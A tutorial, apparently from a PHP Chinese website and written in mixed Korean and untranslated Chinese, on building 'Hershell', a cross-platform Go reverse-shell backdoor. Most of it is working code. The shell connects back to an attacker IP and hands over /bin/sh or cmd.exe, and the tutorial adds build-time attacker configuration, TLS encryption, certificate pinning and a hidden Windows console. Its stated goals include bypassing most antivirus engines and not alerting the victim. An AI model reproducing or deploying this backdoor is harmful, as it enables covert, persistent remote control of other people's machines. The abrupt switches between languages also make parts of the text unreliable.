Go 언어는 침투 테스트에 사용될 수 있습니다. Go를 사용하면 외부 종속성 없이도 크로스 컴파일을 매우 쉽게 수행할 수 있습니다. 표준 라이브러리 덕분에 Go 바이너리에는 대상 아키텍처에서 실행하는 데 필요한 모든 코드가 포함되어 있으므로 Go 언어를 사용하면 동일한 소스 코드에서 여러 플랫폼용 바이너리를 쉽게 빌드할 수 있습니다.
이 튜토리얼의 운영 환경: Windows 7 시스템, GO 버전 1.18, Dell G3 컴퓨터.
침투 테스트란 무엇입니까
침투 테스트는 보안을 평가하기 위해 컴퓨터 시스템에 대한 승인된 시뮬레이션 공격이며 네트워크 방어가 의도한 대로 작동하는지 보여주기 위해 제공됩니다. 회사에서 정기적으로 보안 정책 및 절차를 업데이트하고, 수시로 시스템에 패치를 적용하고, 취약점 스캐너와 같은 도구를 사용하여 모든 패치가 적용되도록 한다고 가정해 보겠습니다.
Go 언어는 침투 테스트에 사용될 수 있습니다
다음은 예입니다: 리바운드 백도어 작성 Hershell
침투 테스트 과정에서 필수 도구는 잘 알려져 있고 매우 멋진 Metasploit 프레임워크입니다. .
이 환경에는 수많은 페이로드, 인코더 및 기타 도구가 포함되어 있습니다. Meterpreter는 이러한 페이로드 중에서 중요합니다. 이는 개발되고 악용된 명령이 포함된 수정된 버전의 셸입니다. 강력한 공격 특성으로 인해 이 포탄이 아마도 가장 일반적으로 사용되는 포탄일 것입니다.
Meterpreter 문제
안타깝게도 Meterpreter의 인기에는 단점이 있습니다. 대부분의 바이러스 백신 및 서명 기반 솔루션에서 감지됩니다. 일반적으로 침투 테스트 중에 Meterpreter 페이로드가 포함된 바이너리가 감지되어 격리를 위해 전송됩니다.
또 다른 문제는 특정 대상 아키텍처(예: BSD)에 대한 지원이 부족하여 자체 백도어를 개발해야 한다는 점입니다.
위의 문제로 인해 Hershell을 작성하게 되었습니다. 이 프로젝트의 목표는 크로스 플랫폼이며 안티 바이러스 소프트웨어로 감지할 수 없는 단일 소스 코드를 기반으로 하는 리버스 셸 페이로드를 제공하는 것입니다.
Google에서 개발한 컴파일 언어인 Go 언어를 사용하여 개발합니다.
GO 언어를 사용하는 이유는 무엇인가요?
요즘 Python은 특히 보안 분야에서 스크립트를 작성하고 애플리케이션을 완성하는 데 가장 널리 사용되는 언어일 것입니다. 그렇다면 우리가 새로운 언어를 배워야 하는 이유는 무엇입니까?
Go에는 Python이나 다른 언어에 비해 한 가지 장점이 있습니다. 외부 종속성 없이 크로스 컴파일을 수행하는 것이 매우 쉽습니다. 표준 라이브러리 덕분에 Go 바이너리에는 대상 아키텍처에서 실행하는 데 필요한 모든 코드가 포함되어 있습니다. 따라서 Go 언어를 사용하면 동일한 소스 코드에서 여러 플랫폼용 바이너리를 쉽게 빌드할 수 있습니다.
목표
이 코드를 빌드할 때 우리는 다음 목표를 달성하고자 합니다:
payload类型是reverse shell; 得到一个跨多个平台(Windows、Linux、MacOS、ARM)和硬件架构的payload; 容易配置; 加密通信; 绕过大多数反病毒检测引擎。
환경 준비
원하는 배포판에서 Go 패키지를 설치하거나 공식 웹사이트에서 다운로드하세요.
설치가 완료되면 환경을 구성해야 합니다. 소스, 라이브러리 및 빌드 바이너리의 루트가 될 dev 디렉터리를 만듭니다.
$ mkdir -p $HOME/dev/{src,bin,pkg} $ export GOPATH=$HOME/dev $ cd dev
디렉터리는 아래 계획을 따릅니다.
bin包含编译后的二进制文件和其他可执行文件; pkg包含Go下载包的对象文件; src包含你的应用程序和下载包的源目录。
첫 번째 역방향 쉘
먼저 간단한 TCP 역방향을 만듭니다. Go 언어를 사용하는 쉘.
여기에는 코드를 한 줄씩 주석 처리한 것이 아니라 완전히 주석 처리한 버전이 있습니다.
// filename: tcp.go package main import ( "net" // requirement to establish a connection "os" // requirement to call os.Exit() "os/exec" // requirement to execute commands against the target system ) func main() { // Connecting back to the attacker // If it fails, we exit the program conn, err := net.Dial("tcp", "192.168.0.23:2233") if err != nil { os.Exit(1) } // Creating a /bin/sh process cmd := exec.Command("/bin/sh") // Connecting stdin and stdout // to the opened connection cmd.Stdin = conn cmd.Stdout = conn cmd.Stderr = conn // Run the process cmd.Run() }
먼저 net.Dial을 사용하여 원격 서버에 연결합니다. Go 표준 라이브러리의 net 패키지는 TCP 또는 UDP 기반 네트워크 통신을 위한 추상화 계층입니다.
패키지 사용 방법에 대해 자세히 알아보고 문서화(go doc)하는 것이 도움이 됩니다.
$ go doc net package net // import "net" Package net provides a portable interface for network I/O, including TCP/IP, UDP, domain name resolution, and Unix domain sockets. Although the package provides access to low-level networking primitives, most clients will need only the basic interface provided by the Dial, Listen, and Accept functions and the associated Conn and Listener interfaces. The crypto/tls package uses the same interfaces and similar Dial and Listen functions. ...
스크립트로 돌아가겠습니다.
연결이 설정되면(실패하면 프로그램이 중지됨) exec.Command 함수 덕분에 프로세스(exec.Cmd 유형의 객체)를 생성합니다. 모든 입력 및 출력(stdout, stdin 및 stderr)이 연결로 리디렉션되고 프로세스가 시작됩니다.
그런 다음 파일을 컴파일할 수 있습니다.
$ go build tcp.go $ ./tcp
이제 리스너를 활성화해야 합니다.
# Listening server (attacker) $ ncat -lvp 2233 Listening on [0.0.0.0] (family 0, port 2233) Connection from 192.168.0.20 38422 received! id uid=1000(lab) gid=100(users) groupes=100(users)
如预期的那样,我们得到了reverse shell。
到目前为止我们大多数的目标尚未实现。
配置
我们现在有一些reverse shell基本代码。但是在每次编译之后我们必须修改,以便定义攻击者的监听端口和IP地址。
这种操作虽然不是很便利。但这里可以引入一个简单的小技巧:在连接时(在编译之前)进行变量定义。
事实上,在构建过程中,可以定义一些变量的值(使用go build命令)。
这是使用前面代码的一个简短的例子:
// filename: tcp.go package main import ( "net" "os" "os/exec" ) // variable to be defined at compiling time var connectString string func main() { if len(connectString) == 0 { os.Exit(1) } conn, err := net.Dial("tcp", connectString) if err != nil { os.Exit(1) } cmd := exec.Command("/bin/sh") cmd.Stdin = conn cmd.Stdout = conn cmd.Stderr = conn cmd.Run() }
我们只添加下面一行代码,进行一个安全测试以检查它是否包含一个值:
var connectString string
其代码编译如下:
$ go build --ldflags "-X main.connectString=192.168.0.23:2233" tcp.go
当我们构建二进制文件时,攻击者的IP地址和端口可以被动态定义。
注意,可以以package.nomVariable的模式访问这些变量,并且这些变量只能是string类型。
为了简化编译,我们可以创建一个Makefile:
# Makefile SOURCE=tcp.go BUILD=go build OUTPUT=reverse_shell LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT}" all: ${BUILD} ${LDFLAGS} -o ${OUTPUT} ${SOURCE} clean: rm -f ${OUTPUT}
本文的其余部分,我们将使用LHOST和LPORT环境变量来定义设置:
$ make LHOST=192.168.0.23 LPORT=2233 go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp.go
跨平台
既然可以很容易地配置 payload,也可以跨平台使用它。
如前所述,payload的强项之一是从同一个代码库使用Go语言为各种架构和平台进行构建。
准确地说, runtime提供了GOOS和GOARCH变量。
让我们看看如何使用GOOS:
// filename: tcp_multi.go package main import ( "net" "os" "os/exec" "runtime" // requirement to access to GOOS ) var connectString string func main() { var cmd *exec.Cmd if len(connectString) == 0 { os.Exit(1) } conn, err := net.Dial("tcp", connectString) if err != nil { os.Exit(1) } switch runtime.GOOS { case "windows": cmd = exec.Command("cmd.exe") case "linux": cmd = exec.Command("/bin/sh") case "freebsd": cmd = exec.Command("/bin/csh") default: cmd = exec.Command("/bin/sh") } cmd.Stdin = conn cmd.Stdout = conn cmd.Stderr = conn cmd.Run() }
很显然,我们添加了一个switch模块来处理GOOS不同的值。因此,我们只是检查几个操作系统的值,并且改变每个目标进程。
上面的代码可以进一步简化,实际上除了Windows,大多数操作系统上都有/bin/sh:
switch runtime.GOOS { case "windows": // Windows specific branch cmd = exec.Command("cmd.exe") default: // any other OS cmd = exec.Command("/bin/sh") }
现在,使用GOARCH处理交叉编译架构非常简单:
$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.23 LPORT=2233 go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp_multi.go $ file reverse_shell reverse_shell: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
网络加密
现在,让我们看看如何加密网络流量。
有几种选择:
用一个自制的方法,在应用程序层建立加密 使用一种被广泛使用并且在会话层测试协议的方法,即TLS。
鉴于我们都倾向于简单和安全,我们选择了很容易用Go语言实现的TLS。标准库已经支持一切支持TLS的东西。
在客户端,一个新的&tls.Config类型对象需要配置连接,比如证书锁定(certificate pinning)。
这是新的代码库,进行了轻微的优化和TLS处理:
import ( "crypto/tls" "runtime" "os" "os/exec" "net" ) var connectString string func GetShell(conn net.Conn) { var cmd *exec.Cmd switch runtime.GOOS { case "windows": cmd = exec.Command("cmd.exe") default: cmd = exec.Command("/bin/sh") } cmd.Stdout = conn cmd.Stderr = conn cmd.Stdin = conn cmd.Run() } func Reverse(connectString string) { var ( conn *tls.Conn err error ) // Creation of the tls.Config object // Accepting *any* server certificate config := &tls.Config{InsecureSkipVerify: true} if conn, err = tls.Dial("tcp", connectString, config); err != nil { os.Exit(-1) } defer conn.Close() // Starting the shell GetShell(conn) } func main() { if len(connectString) == 0 { os.Exit(1) } Reverse(connectString) }
如示例所示,创建一个TLS套接字(socket)非常类似于创建一个简单的TCP socket。不同于tls.Config,tls.Conn对象与net.Conn以相同的方式被使用。
条件编译
如上图所示,可以改变取决于目标操作系统的程序执行。
然而,如果你想使用这段代码,你会注意到一个问题。cmd.exe窗口会出现,并且无法隐藏,从而会提醒受害者。
幸运的是,exec.Cmd对象的SysProcAttr可以改变这种情况,如本文所述:
$ go doc exec.Cmd ... // SysProcAttr holds optional, operating system-specific attributes. // Run passes it to os.StartProcess as the os.ProcAttr's Sys field. SysProcAttr *syscall.SysProcAttr ... 在Linux下,关于syscall.SysProcAttr模块文件,我们得到以下信息: $ go doc syscall.SysProcAttr type SysProcAttr struct { Chroot string // Chroot. Credential *Credential // Credential. Ptrace bool // Enable tracing. Setsid bool // Create session. Setpgid bool // Set process group ID to Pgid, or, if Pgid == 0, to new pid. Setctty bool // Set controlling terminal to fd Ctty (only meaningful if Setsid is set) Noctty bool // Detach fd 0 from controlling terminal Ctty int // Controlling TTY fd Foreground bool // Place child's process group in foreground. (Implies Setpgid. Uses Ctty as fd of controlling TTY) Pgid int // Child's process group ID if Setpgid. Pdeathsig Signal // Signal that the process will get when its parent dies (Linux only) Cloneflags uintptr // Flags for clone calls (Linux only) Unshareflags uintptr // Flags for unshare calls (Linux only) UidMappings []SysProcIDMap // User ID mappings for user namespaces. GidMappings []SysProcIDMap // Group ID mappings for user namespaces. // GidMappingsEnableSetgroups enabling setgroups syscall. // If false, then setgroups syscall will be disabled for the child process. // This parameter is no-op if GidMappings == nil. Otherwise for unprivileged // users this should be set to false for mappings work. GidMappingsEnableSetgroups bool }
然而,在syscall package(包)的源代码中,我们观察到每一个构建都有一个特定的实现。
此外,在Windows的exec子方式中,我们注意到SysProcAttr结构有不同的定义。它有一个HidWindow属性(布尔类型),当启动一个程序时这一属性允许隐藏启动窗口。
该属性也正是我们的后门需要的。
我们可能会被这一实现所吸引:
... switch runtime.GOOS { case "windows": cmd := exec.Cmd("cmd.exe") cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} default: cmd := exec.Cmd("/bin/sh") } ...
然而,由于HideWindow属性在syscall/exec_linux.go中不存在,因此这种编译在除了Windows之外的任何其他平台可能会失败。
因此,我们需要调整我们的项目的结构,使用条件编译。条件编译指的是一种特性,允许添加源代码文件顶部编译器的命令。例如,如果我们想要编译一个只适用于Windows操作系统的源文件,我们将添加该命令:
// +build windows !linux !darwin !freebsd import net ...
当GOOS变量设置为darwin、 linux 或者freebsd时,该命令将指示编译器不包括该文件。当然,当值与windows匹配时,编译器将包含该源文件。
为了在我们的项目中实现该条件编译,我们将遵循这个结构:
$ tree ├── hershell.go ├── Makefile ├── README.md └── shell ├── shell_default.go └── shell_windows.go
hershell.go包含程序的核心部分。然后,我们创建一个名为shell的模块,该模块有两个文件:适用于Linux和Unix的shell_default.go文件;以及适用于Windows的shell_windows.go文件。
证书锁定
使用TLS安全通信是件好事,但只要我们不对服务器进行身份验证,流量仍然可以被“中间人”劫持。
为了预防这种攻击,我们将验证服务器提供的证书,这就叫做“证书锁定(certificate pinning)”。
以下函数负责证书锁定(certificate pinning):
func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) { valid := false connState := conn.ConnectionState() for _, peerCert := range connState.PeerCertificates { hash := sha256.Sum256(peerCert.Raw) if bytes.Compare(hash[0:], fingerprint) == 0 { valid = true } } return valid, nil }
这个函数接受一个tls.Conn对象的指针作为参数,并且包含SHA256格式的指纹证书的一个字节数组。在连接过程中,该代码扫描所有tls.Conn中的PeerCertificates,直到发现与提供的相匹配的指纹为止。
如果碰巧没有证书匹配,函数返回false。
当需要建立与远程服务器的连接时,我们只需要调用该函数;如果提交的证书是无效的则会关闭连接:
func Reverse(connectString string, fingerprint []byte) { var ( conn *tls.Conn err error ) config := &tls.Config{InsecureSkipVerify: true} if conn, err = tls.Dial("tcp", connectString, config); err != nil { os.Exit(ERR_HOST_UNREACHABLE) } defer conn.Close() // checking the certificate fingerprint if ok, err := CheckKeyPin(conn, fingerprint); err != nil || !ok { os.Exit(ERR_BAD_FINGERPRINT) } RunShell(conn) }
最初,由于–ldflags,在编译(在Makefile中)过程中可以生成有效的指纹:
... LINUX_LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT} -X main.connType=${TYPE} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)" ...
위 내용은 침투 테스트에 Go 언어를 사용할 수 있나요?의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!